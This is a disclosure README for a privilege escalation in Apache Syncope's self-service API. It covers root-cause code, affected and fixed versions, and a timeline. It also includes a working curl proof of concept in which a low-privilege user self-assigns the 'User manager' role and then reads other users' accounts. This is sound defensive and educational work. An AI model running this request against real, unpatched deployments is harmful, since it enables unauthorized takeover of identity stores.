
Apache Syncope: User self-service privilege escalation
Improper Privilege Management (CWE-269) in Apache Syncope. An authenticated, low-privilege user can grant themselves arbitrary roles (and group memberships, external resources, and a new realm) through the user self-service API — operations that require administrative entitlements on every other code path — and thereby become an administrator of the identity store.
This repository is the technical reference for the vulnerability: root cause, a runtime-confirmed proof of concept, and reproduction notes. A narrative account of how it was found lives separately (see Write-up).
| CVE | CVE-2026-62183 |
| Vendor / product | Apache Software Foundation — Apache Syncope |
| Affected package | org.apache.syncope.core:syncope-core-workflow-java |
| Class | CWE-269 Improper Privilege Management (mechanism: CWE-862 Missing Authorization) |
| Severity | Important (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Affected | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Fixed in | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x is EOL, no fix |
| Confirmed on | 3.0.16 (standalone distribution, JDK 17), domain Master |
Apache Syncope's user self-service update endpoint, PATCH /users/self/{key}, requires
only isAuthenticated(). The shared logic layer skips the authorization check for
"self" operations, while the data binder still applies privileged request fields
(roles, memberships, resources, auxClasses, realm). The result is a
straightforward privilege escalation: a low-privilege user self-assigns a privileged role
and immediately gains its entitlements — including, with a suitably powerful role, full
administration of all users. Where self-registration is enabled, the same flaw applies to
doCreate, so an unauthenticated attacker can register an already-privileged account.
The vulnerability applies when one of the following user workflow adapters is configured (this is what the vendor advisory scopes it to):
In production, self-service is normally driven through the Enduser UI, which does not
expose role assignment; reaching this requires the Core REST API to be callable by the
low-privilege user. The runtime PoC below uses the Standalone Distribution, which
Apache documents as evaluation-only and which ships seed data (the user bellini, the
built-in roles User manager / User reviewer) — that seed data is not present in a
general deployment. These are honest constraints on real-world exploitability, not on the
correctness of the flaw.
Request flow for PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. The endpoint authorizes only "is anyone logged in?" — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
No entitlement (no USER_UPDATE, no role/realm scope) is required.
2. The authorization check is skipped for self operations — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. The binder applies privileged fields regardless — UserDataBinderImpl.update(...)
applies role ADD/DELETE, memberships(...) (groups) and fill(...) (resources / realm)
straight from the request, with no caller-privilege check — that check is supposed to live
in the Logic layer that step 2 skips. The admin path (UserLogic.update,
@PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) does run
securityChecks; the self path does not.
The escalated role takes effect at authentication:
AuthDataAccessor.getUserAuthorities(user) walks userDAO.findAllRoles(user) and unions
each role's entitlements, so the self-assigned role is live on the user's next
request/login. The same if (!self) skip is present in doCreate, extending the flaw to
self-registration.
In short: two layers each assumed the other enforced the privilege check. The endpoint
delegated authorization to the Logic layer; the Logic layer skipped it for self; the
binder trusted the Logic layer to have gate-kept the fields.
A normal authenticated user with no roles self-assigns the built-in privileged role
User manager (which grants USER_READ over /) and then reads an arbitrary account. No
admin action, no special configuration. Full script: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
Observed: [1] 403 → [2] 200 (roles now ["User manager"]) → [3] 200. The
assignment persists (confirmed via the admin view of the user). The same request shape
also self-assigns memberships (groups), resources (triggering provisioning to external
systems) and a new realm.
The PoC deliberately uses only legitimate, documented API calls to demonstrate the authorization gap. It is a minimal proof, not a weaponized exploit — see Responsible use.
See BUILD.md for a no-Docker, no-Maven runtime setup (standalone Tomcat +
Temurin JDK 17) and readiness checks, then:
B=http://localhost:9080/syncope/rest ./poc.sh
Any authenticated user — including the lowest-privilege self-service account — can grant
themselves the entitlements of any defined role. With a role carrying broad USER_* /
admin entitlements, this is takeover of the identity store: read/modify/delete all users,
plus account provisioning onto connected external systems via resources / memberships.
Where self-registration is enabled, an unauthenticated attacker can register directly into
a privileged state (PR:N, CVSS 9.8). The concrete entitlements gained depend on the
roles actually defined in the target deployment.
Fixed in 4.0.7 / 4.1.2 under
SYNCOPE-1983
("Requiring admin approval for self changes beyond attributes"). UserCR / UserUR gained
a requiresApproval() predicate (true when a request touches roles, memberships, groups,
resources, relationships, linked accounts, or user/group managers), and the workflow
adapters route such self-requests through admin approval instead of applying them directly.
3.0.x is end-of-life and does not receive the fix — affected 3.0.x users must upgrade to a
supported branch.
| Date (2026) | Event |
|---|---|
| Jun 28 | Reported privately to [email protected] with root-cause analysis and runtime PoC |
| Jul 13 | Apache Syncope PMC confirmed; CVE-2026-62183 reserved; severity assessed important |
| Jul 20 | Fixes released (4.0.7 / 4.1.2); vendor advisory and CVE record published |
Credited finders, per the CVE record: Nic Jones (@NicPWNs) and elin kai. This repository documents the source-level analysis and runtime-confirmed PoC contributed by Nic Jones.
A narrative account of the research — methodology, the Apache-project audit that surfaced it, and how it was runtime-confirmed — is on my blog: Self-Service to Admin: A Privilege Escalation in Apache Syncope.
This material is published for defensive and educational purposes after coordinated disclosure and the release of fixed versions. The PoC uses only legitimate API calls to demonstrate the authorization flaw; it is not a mass-exploitation tool. Do not use it against systems you are not authorized to test. If you run Apache Syncope, upgrade to 4.0.7 / 4.1.2 (or off 3.0.x).